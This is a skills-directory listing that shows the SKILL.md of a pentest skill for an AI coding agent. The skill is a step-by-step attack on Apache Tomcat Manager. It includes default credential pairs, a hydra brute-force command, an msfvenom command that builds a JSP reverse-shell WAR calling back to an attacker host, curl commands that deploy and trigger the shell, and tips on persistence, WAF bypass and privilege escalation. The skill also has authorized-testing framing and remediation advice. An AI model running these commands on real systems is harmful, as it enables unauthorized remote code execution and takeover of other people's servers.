Skip to content
Back to skills

Tomcat Manager Deploy

ASecurity

Apache Tomcat Manager / Host-Manager default or weak credentials to WAR webshell deployment for RCE. Brute the manager app, then deploy a JSP webshell WAR via the /manager/text API. Tier 1 (RCE honors the authorization gate). Use when /manager or /host-manager is reachable.

  • 16 stars
  • 0 votes
  • 0 copies
  • 7 views
  • Added November 17, 2026
securityjavashellapibackend

Works with

  • api
  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill tomcat-manager-deploy --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Tomcat Manager Deploy?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Tomcat Manager Deploy
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-tomcat-manager-deploy/badge)](https://www.skillsdirectory.com/skills/anandjogawade-tomcat-manager-deploy)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: tomcat-manager-deploy
description: Apache Tomcat Manager / Host-Manager default or weak credentials to WAR webshell deployment for RCE. Brute the manager app, then deploy a JSP webshell WAR via the /manager/text API. Tier 1 (RCE honors the authorization gate). Use when /manager or /host-manager is reachable.
---

# Tomcat Manager — Default Creds → WAR Webshell Deploy

The Tomcat Manager app can deploy arbitrary web applications. If it's reachable with default/weak creds, you deploy a WAR containing a JSP shell and get RCE as the Tomcat user.

## Trigger phrases
`tomcat manager, host-manager, /manager/html, war deploy, tomcat default creds, jsp webshell, manager text api`

## Method
1. **Find the manager:** `/manager/html`, `/manager/text`, `/host-manager/html`, `/manager/status`. 401 = present and auth-gated.
2. **Credential attack (default/weak):** common pairs `tomcat:tomcat`, `admin:admin`, `tomcat:s3cret`, `admin:` (blank), `role1:role1`, `tomcat:password`, manufacturer defaults. Tools: `hydra -L users -P passwords URL http-get /manager/html`, Metasploit `auxiliary/scanner/http/tomcat_mgr_login`, `nuclei -tags tomcat,default-login`. Respect lockout/RoE (→ `password-spraying` rules).
3. **Deploy WAR (gated RCE):** build a minimal JSP webshell WAR and deploy via the text API:
   ```
   msfvenom -p java/jsp_shell_reverse_tcp LHOST=you LPORT=4444 -f war -o z.war
   curl -u tomcat:tomcat -T z.war "http://TARGET:8080/manager/text/deploy?path=/ztmp&update=true"
   curl "http://TARGET:8080/ztmp/"          # triggers shell / webshell
   ```
   Or Metasploit `exploit/multi/http/tomcat_mgr_upload`. Prefer a benign command-echo JSP over a live reverse shell on prod where RoE requires; **undeploy** afterward:
   ```
   curl -u tomcat:tomcat "http://TARGET:8080/manager/text/undeploy?path=/ztmp"
   ```

## Modern / rare techniques
- **Creds from elsewhere:** `tomcat-users.xml` read via `ajp-ghostcat`/LFI/`WEB-INF` disclosure gives manager creds directly — chain in before brute-forcing.
- **Host-manager** can add virtual hosts → broader persistence; **PUT/readonly=false** on the default servlet (older configs) is an alternate file-write → RCE path.
- CVE-2017-12617 (JSP upload via PUT) and CVE-2020-9484 (session persistence deserialization) as adjacent Tomcat RCE classes → `web-deserialization`.

## Bypass / evasion
Rate-limit brute per RoE; manager often behind a non-standard port/path — fuzz. `${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md`.

## Escalation / chaining
WAR webshell → RCE → `linux-privesc`/`windows-privesc`; read `tomcat-users.xml`/configs → more creds; pivot `network-pentest`. Needed creds → `ajp-ghostcat`/`default-creds`.

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP). hydra, msfvenom, Metasploit `tomcat_mgr_*`, nuclei. See `zazy-orchestrator`.

## Verification (background, before reporting)
Confirm RCE with a benign command/OAST from the deployed app; reproduce, then undeploy and verify removal. Report true positives only.

## Evidence
Manager URL, working credentials (how obtained), deploy request/response, benign command output, and confirmation of cleanup/undeploy. Remediation: remove/relocate manager apps, strong unique creds, restrict by IP, `RemoteAddrValve`, run Tomcat as least-priv, remove default accounts from `tomcat-users.xml`.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.